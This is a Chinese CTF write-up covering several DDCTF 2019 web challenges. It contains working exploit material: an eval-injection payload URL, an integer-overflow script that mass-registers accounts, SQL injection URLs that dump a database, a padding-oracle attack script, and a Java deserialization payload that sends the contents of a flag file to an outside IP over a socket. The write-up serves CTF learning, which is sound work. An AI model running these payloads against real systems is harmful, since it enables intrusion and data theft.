前言

DDCTF 2019 Web,特地记录一下当时没做的或者好玩的题目

homebrew event loop

http://116.85.48.107:5002/d5af33f66147e857

源码审计:

# -*- encoding: utf-8 -*- 
# written in python 2.7 
__author__ = 'garzon' 

from flask import Flask, session, request, Response 
import urllib 

app = Flask(__name__) 
app.secret_key = '*********************' # censored 
url_prefix = '/d5af33f66147e857' 

def FLAG(): 
    return 'FLAG_is_here_but_i_wont_show_you'  # censored 
     
def trigger_event(event): 
    session['log'].append(event) 
    if len(session['log']) > 5: session['log'] = session['log'][-5:] 
    if type(event) == type([]): 
        request.event_queue += event 
    else: 
        request.event_queue.append(event) 

def get_mid_str(haystack, prefix, postfix=None): 
    haystack = haystack[haystack.find(prefix)+len(prefix):] 
    if postfix is not None: 
        haystack = haystack[:haystack.find(postfix)] 
    return haystack 
     
class RollBackException: pass 

def execute_event_loop(): 
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') 
    resp = None 
    while len(request.event_queue) > 0: 
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" 
        request.event_queue = request.event_queue[1:] 
        if not event.startswith(('action:', 'func:')): continue 
        for c in event: 
            if c not in valid_event_chars: break 
        else: 
            is_action = event[0] == 'a' 
            action = get_mid_str(event, ':', ';') 
            args = get_mid_str(event, action+';').split('#') 
            try: 
                event_handler = eval(action + ('_handler' if is_action else '_function')) 
                ret_val = event_handler(args) 
            except RollBackException: 
                if resp is None: resp = '' 
                resp += 'ERROR! All transactions have been cancelled. <br />' 
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />' 
                session['num_items'] = request.prev_session['num_items'] 
                session['points'] = request.prev_session['points'] 
                break 
            except Exception, e: 
                if resp is None: resp = '' 
                #resp += str(e) # only for debugging 
                continue 
            if ret_val is not None: 
                if resp is None: resp = ret_val 
                else: resp += ret_val 
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404) 
    session.modified = True 
    return resp 
     
@app.route(url_prefix+'/') 
def entry_point(): 
    querystring = urllib.unquote(request.query_string) 
    request.event_queue = [] 
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: 
        querystring = 'action:index;False#False' 
    if 'num_items' not in session: 
        session['num_items'] = 0 
        session['points'] = 3 
        session['log'] = [] 
    request.prev_session = dict(session) 
    trigger_event(querystring) 
    return execute_event_loop() 

# handlers/functions below -------------------------------------- 

def view_handler(args): 
    page = args[0] 
    html = '' 
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points']) 
    if page == 'index': 
        html += '<a href="./?action:index;True%23False">View source code</a><br />' 
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />' 
        html += '<a href="./?action:view;reset">Reset</a><br />' 
    elif page == 'shop': 
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' 
    elif page == 'reset': 
        del session['num_items'] 
        html += 'Session reset.<br />' 
    html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
    return html 

def index_handler(args): 
    bool_show_source = str(args[0]) 
    bool_download_source = str(args[1]) 
    if bool_show_source == 'True': 
     
        source = open('eventLoop.py', 'r') 
        html = '' 
        if bool_download_source != 'True': 
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' 
            html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
             
        for line in source: 
            if bool_download_source != 'True': 
                html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />') 
            else: 
                html += line 
        source.close() 
         
        if bool_download_source == 'True': 
            headers = {} 
            headers['Content-Type'] = 'text/plain' 
            headers['Content-Disposition'] = 'attachment; filename=serve.py' 
            return Response(html, headers=headers) 
        else: 
            return html 
    else: 
        trigger_event('action:view;index') 
         
def buy_handler(args): 
    num_items = int(args[0]) 
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) 
    session['num_items'] += num_items  
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) 
     
def consume_point_function(args): 
    point_to_consume = int(args[0]) 
    if session['points'] < point_to_consume: raise RollBackException() 
    session['points'] -= point_to_consume 
     
def show_flag_function(args): 
    flag = args[0] 
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. 
    return 'You naughty boy! ;) <br />' 
     
def get_flag_handler(args): 
    if session['num_items'] >= 5: 
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries 
    trigger_event('action:view;index') 
     
if __name__ == '__main__': 
    app.run(debug=False, host='0.0.0.0') 

很明显 event_handler = eval(action + ('_handler' if is_action else '_function')) 处有明显漏洞,由于我们可以控制 action 参数,所以可以在参数最后拼接 # 注释代码进而代码执行。

最终 payload 如下:

116.85.48.107:5002/d5af33f66147e857/?action:trigger_event%23;action:buy;1%23action:buy;3%23action:get_flag;

虽然 get_flag 没有回显,但由于程序会将相应的结果写入 session['log'],所以可以通过解密 session 的方式获得 flag,对应的解密脚本地址:https://github.com/noraj/flask-session-cookie-manager

大吉大利,今晚吃鸡

Go 语言的整数溢出问题,最后需要编写脚本

问题在于 http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=2000ticket_price 可控,而当我们设置 ticket_price2**32 时,可以发现购买成功。很明显后端在处理购买逻辑时将我们输入的价格作为有符号数进行处理,进而触发整数溢出问题(这里卡了很久,一直以为是 uint64 最后发现竟然是 uint32,批判一下自己,单纯懒得尝试就弃好久

最后写脚本,真·我杀我自己:

import json
import requests

basename = 'aabbcc'
baseUrl = 'http://117.51.147.155:5050/ctf/api/'

def register(s, q):
    return s.get(baseUrl+'register', params=q)

def login(s, q):
    return s.get(baseUrl+'login', params=q)

def buy_ticket(s):
    res = s.get(baseUrl+'buy_ticket', params={"ticket_price": 2**32})
    res = json.loads(res.text)
    return res['data'][0]['bill_id']

def pay_ticket(s, bill_id):
    res = s.get(baseUrl+'pay_ticket', params={'bill_id': bill_id})
    res = json.loads(res.text)
    return {'id': res['data'][0]['your_id'], 'ticket': res['data'][0]['your_ticket']}

def remove_robot(s, p):
    return s.get(baseUrl+'remove_robot', params=p)

def getOneTicket(i):
    s = requests.Session()
    np = basename+str(i)
    register(s, {'name': np, 'password': np})
    login(s, {'name': np, 'password': np})
    bill_id = buy_ticket(s)
    return pay_ticket(s, bill_id)

def getMain():
    s = requests.Session()
    np = basename+'flag'
    #register(s, {'name': np, 'password': np})
    login(s, {'name': np, 'password': np})
    #bill_id = buy_ticket(s)
    #pay_ticket(s, bill_id)
    return s

def main():
    robots = []
    s = getMain()
    for i in range(750, 800):
        robot = getOneTicket(i)
        remove_robot(s, robot)
        print(robot)
    flag = s.get(baseUrl+'get_flag').text
    print(flag)

if __name__ == "__main__":
    main()

欢迎报名DDCTF

以为是个注入,没想到是个 xss + 注入 (lll¬ω¬),赛后看别人 writeup 做的

xss 读取源码,发现接口 query_aIeMu0FUoVrW0NWPHbN6z4xh.php

<!DOCTYPE_html>
<html_lang="en">
    <head> 
        <meta_charset="UTF-8">
        <!--每隔30秒自动刷新-->
        <meta_http-equiv="refresh"_content="30">
        <title>DDCTF报名列表</title>
    </head>
    <body>
        <table__align="center"_>
            <thead>
                <tr>
                    <th>姓名</th> 
                    <th>昵称</th>
                    <th>备注</th>
                    <th>时间</th>
                </tr>
            </thead>
            <tbody>
                <!--_列表循环展示_-->
                <tr>
                    <td><a_target="_blank"__href="index_php">报名</a></td>
                </tr>
                <!--_<a_target="_blank"__href="query_aIeMu0FUoVrW0NWPHbN6z4xh_php">_接口_</a>-->
            </tbody>
        </table>
    </body>
</html>

注入:

# database: ctfdb
http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%df%27or%201%20union%20select%201,group_concat(schema_name),3,4,5%20from%20information_schema.schemata%23
# table: ctf_fhmHRPL5
http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%df%27union+select+1,TABLE_NAME,2,3,4%20FROM%20information_schema.tables%20WHERE%20TABLE_SCHEMA=0x6374666462;%23
# column: ctf_value
http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%df%27UNION+SELECT+1,+GROUP_CONCAT(column_name),2,3,4+FROM+information_schema.columns+WHERE+table_name=0x6374665f66686d4852504c35;%23
# flag: DDCTF{GqFzOt8PcoksRg66fEe4xVBQZwp3jWJS}
http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%df%27UNION+SELECT+1,+ctf_value,2,3,4+FROM+ctfdb.ctf_fhmHRPL5;%23

mysql弱口令

主要考点就是通过 MySQL LOAD DATA 的特性进行任意文件的读取,直接部署 https://github.com/allyshka/Rogue-MySql-Server 上的脚本进行文件读取即可。

正常的思路是:读取源码 => 读取数据库信息 => 读取数据库文件 => 获得 flag,可以发现 flag 在 /var/lib/mysql/security/flag.ibd 文件中。

还有一种思路则是直接读取 /root/.mysql_history,由于 mysql 进行操作的时候会将 log 写入相应的记录文件中,所以可以直接从 log 文件中读取相应的 flag。

再来1杯Java

愉快的学习 java web 之路。。

padding oracle:

import requests
import base64
import binascii

url = "http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/gen_token"
base_token = base64.b64decode("UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF")
result = ''

for index in range(2):
    encrypt = base_token[16*(index+1):16*(index+2)]
    prev = base_token[:16*index]
    c_iv = base_token[16*index:16*(index+1)]
    mid_value = 0
    for i in range(1, 17):
        for j in range(256):
            if mid_value:
                padding =  hex(mid_value ^ int(binascii.hexlify(chr(i)*(i-1)), 16)).strip('L')[2::]
                if len(padding) % 2:
                    padding = '0'+padding 
                token = '{}{}{}{}{}'.format(prev, chr(0)*(16-i), chr(j), binascii.unhexlify(padding), encrypt)
            else:
                token = '{}{}{}{}'.format(prev, chr(0)*(16-i), chr(j), encrypt)
            
            headers = {
                'Cookie': "token="+base64.b64encode(token)
            }
            response = requests.get(url, headers=headers)
            if response.text.strip() != "decrypt err~":
                mid_value += ((i ^ j) << (8*(i-1)))
                print(hex(mid_value))
                break
    
    mid_value = hex(mid_value).strip('L')[2::]
    if len(mid_value) % 2:
        mid_value = '0' + mid_value

    result += ''.join([chr(ord(x)^ord(y)) for x, y in zip(c_iv, binascii.unhexlify(mid_value))])
    print(result)

print(result)

最后得到明文: {"id":100,"roleAdmin":false}\x04\x04\x04\x04

很明显需要因此构造出: {"id":100,"roleAdmin":true}\x06\x05\x05\x05\x05,此时的需要构造如下 iv(懒得算了,参考他人 writeup):

c1t='c3beeee4265cb3792c43365bd63a5516'  # iv2
0x00df71d27118c10e13141c66fc84619b  # mid
ivt='7bfd18b65322f03e23383e1493e804da'  # iv

print base64.b64encode(ivt.decode('hex')+c1t.decode('hex')+base_token[32:48])

登录成功后由 http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/fileDownload?fileName=1.txt 获得 hint:

Try to hack~ 
Hint:
1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~ 
2. You can not exec commands~ 

很明显此处有一个任意文件读的问题存在,但受到了很明显的限制,经过尝试后发现在 /proc/self/fd/15 可以获得源码。

之后就是源码审计 + 利用 JRMP 反序列化漏洞,相关的利用点在

http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/nicaibudao_hahaxxxx/deserial?base64Info= 接口处

详情参考 2019-DDCTF-WEB-WriteUp - 再来一篇 java,本人最后执行的 payload 如下:

java.net.Socket s = new java.net.Socket("39.108.230.53",8768);
java.io.File file = new java.io.File("/flag/flag_7ArPnpf3XW8Npsmj");
java.io.InputStream in = new java.io.FileInputStream(file);
int tempbyte;
while ((tempbyte = in.read()) != -1) {
  java.io.OutputStream out = s.getOutputStream();
  out.write(tempbyte);
}
in.close();
s.close();

最后在反弹出的 shell 里接到 flag:

Flag

参考链接